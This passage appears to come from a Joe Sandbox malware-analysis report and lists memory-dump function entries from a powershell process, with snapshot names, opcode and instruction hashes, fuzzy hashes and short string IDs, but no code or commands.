                                                                                                  Memory Dump Source
                                                                                                  • Source File: 00000000.00000002.1407092987.00007FFAACA60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAACA60000, based on PE: false
                                                                                                  Joe Sandbox IDA Plugin
                                                                                                  • Snapshot File: hcaresult_0_2_7ffaaca60000_powershell.jbxd
                                                                                                  Similarity
                                                                                                  • API ID:
                                                                                                  • String ID:
                                                                                                  • API String ID:
                                                                                                  • Opcode ID: 887fcc15f258c80bbafdcbc941dbad0c95b3e8e2d8eee761144c1c8397054724
                                                                                                  • Instruction ID: ad7afce4e2c4ba95d8ac468a44d993912f99b935ae39dd44c0888105c3c5a564
                                                                                                  • Opcode Fuzzy Hash: 887fcc15f258c80bbafdcbc941dbad0c95b3e8e2d8eee761144c1c8397054724
                                                                                                  • Instruction Fuzzy Hash: 01F05E72A1D5448FE758EB5CE4458A8BBE0EF06324B1440B7E24DC74A3DB2AEC44C780
                                                                                                  Function 00007FFAAC7C2800 Relevance: .0, Instructions: 34COMMON
                                                                                                  Download Yara Rule
                                                                                                  Memory Dump Source
                                                                                                  • Source File: 00000000.00000002.1402579837.00007FFAAC7B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC7B0000, based on PE: false
                                                                                                  Joe Sandbox IDA Plugin
                                                                                                  • Snapshot File: hcaresult_0_2_7ffaac7b0000_powershell.jbxd
                                                                                                  Similarity
                                                                                                  • API ID:
                                                                                                  • String ID:
                                                                                                  • API String ID:
                                                                                                  • Opcode ID: 6bdd0d4710777b5ecd565b1cd138e45198c594a32156165829a9ee493c4971e7
                                                                                                  • Instruction ID: b7f9e0de7b32b98cb5a3ebea23879e8c2aa704e8bd8880df8a2e4d0e6f4a38dc
                                                                                                  • Opcode Fuzzy Hash: 6bdd0d4710777b5ecd565b1cd138e45198c594a32156165829a9ee493c4971e7
                                                                                                  • Instruction Fuzzy Hash: 31F0B43080868ECFDB06EF2898195E5BBB0FF26310B0402ABE45CC70B2DB74A554CBC2

                                                                                                  Non-executed Functions

                                                                                                  Function 00007FFAAC7B202D Relevance: 4.5, Strings: 3, Instructions: 774COMMON
                                                                                                  Download Yara Rule
                                                                                                  Strings
                                                                                                  Memory Dump Source
                                                                                                  • Source File: 00000000.00000002.1402579837.00007FFAAC7B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC7B0000, based on PE: false
                                                                                                  Joe Sandbox IDA Plugin
                                                                                                  • Snapshot File: hcaresult_0_2_7ffaac7b0000_powershell.jbxd
                                                                                                  Similarity
                                                                                                  • API ID:
                                                                                                  • String ID: @rl$HIL$UL
                                                                                                  • API String ID: 0-2262213364
                                                                                                  • Opcode ID: caa737eecf0bd89d1278f32fa3492a144f1ca2c9eded71ea520c1aa77548d0e0
                                                                                                  • Instruction ID: b96af7d949c1254c7d9bec4abcafa0fd3fd9d3f012fa65ca679b382f1bf17129
                                                                                                  • Opcode Fuzzy Hash: caa737eecf0bd89d1278f32fa3492a144f1ca2c9eded71ea520c1aa77548d0e0
                                                                                                  • Instruction Fuzzy Hash: E33290A7A0F7C39FF3124B6858661E57FB0EF5326570940F7D4CA8A093E9199C0A87E1
                                                                                                  Function 00007FFAAC7BF0E0 Relevance: 1.6, Strings: 1, Instructions: 357COMMON
                                                                                                  Download Yara Rule
                                                                                                  Strings
                                                                                                  Memory Dump Source
                                                                                                  • Source File: 00000000.00000002.1402579837.00007FFAAC7B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC7B0000, based on PE: false
                                                                                                  Joe Sandbox IDA Plugin
                                                                                                  • Snapshot File: hcaresult_0_2_7ffaac7b0000_powershell.jbxd
                                                                                                  Similarity
                                                                                                  • API ID:
                                                                                                  • String ID: RM_^
                                                                                                  • API String ID: 0-2314353614
                                                                                                  • Opcode ID: 9bcf5bdb2b10aabc99af0e9e3e5944d41b5e4e3be762ccec9ad54a72ff408fac
                                                                                                  • Instruction ID: beacacd553ce56f4db4ac289d772161b5af7521dd95d53c59d6852fe392c69ec
                                                                                                  • Opcode Fuzzy Hash: 9bcf5bdb2b10aabc99af0e9e3e5944d41b5e4e3be762ccec9ad54a72ff408fac
                                                                                                  • Instruction Fuzzy Hash: DD913387A0D1A657F22577BCF8598FD6B90CF8233AB08C3B7D18EC95938C15648B42E1
                                                                                                  Function 00007FFAAC7B044D Relevance: 7.6, Strings: 6, Instructions: 105COMMON
                                                                                                  Download Yara Rule
                                                                                                  Strings
                                                                                                  Memory Dump Source
                                                                                                  • Source File: 00000000.00000002.1402579837.00007FFAAC7B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC7B0000, based on PE: false
                                                                                                  Joe Sandbox IDA Plugin
                                                                                                  • Snapshot File: hcaresult_0_2_7ffaac7b0000_powershell.jbxd
                                                                                                  Similarity
                                                                                                  • API ID:
                                                                                                  • String ID: (08$8,8$P/8$p08$-8$/8
                                                                                                  • API String ID: 0-1391019473
                                                                                                  • Opcode ID: 5c1dc17061a9dd041e9ec7a8e5dacb480b2d9d2936e9d00014634e1cbb062097
                                                                                                  • Instruction ID: a25f368d94c7804d515c144ed26017444a4ceca7ca49d5337b28b1a8c0899ffe
                                                                                                  • Opcode Fuzzy Hash: 5c1dc17061a9dd041e9ec7a8e5dacb480b2d9d2936e9d00014634e1cbb062097
                                                                                                  • Instruction Fuzzy Hash: 4F3168D690F7C18FF31697A81825179AFA0AF5361070DC4FBE0DD8A5ABA8099D0D83C6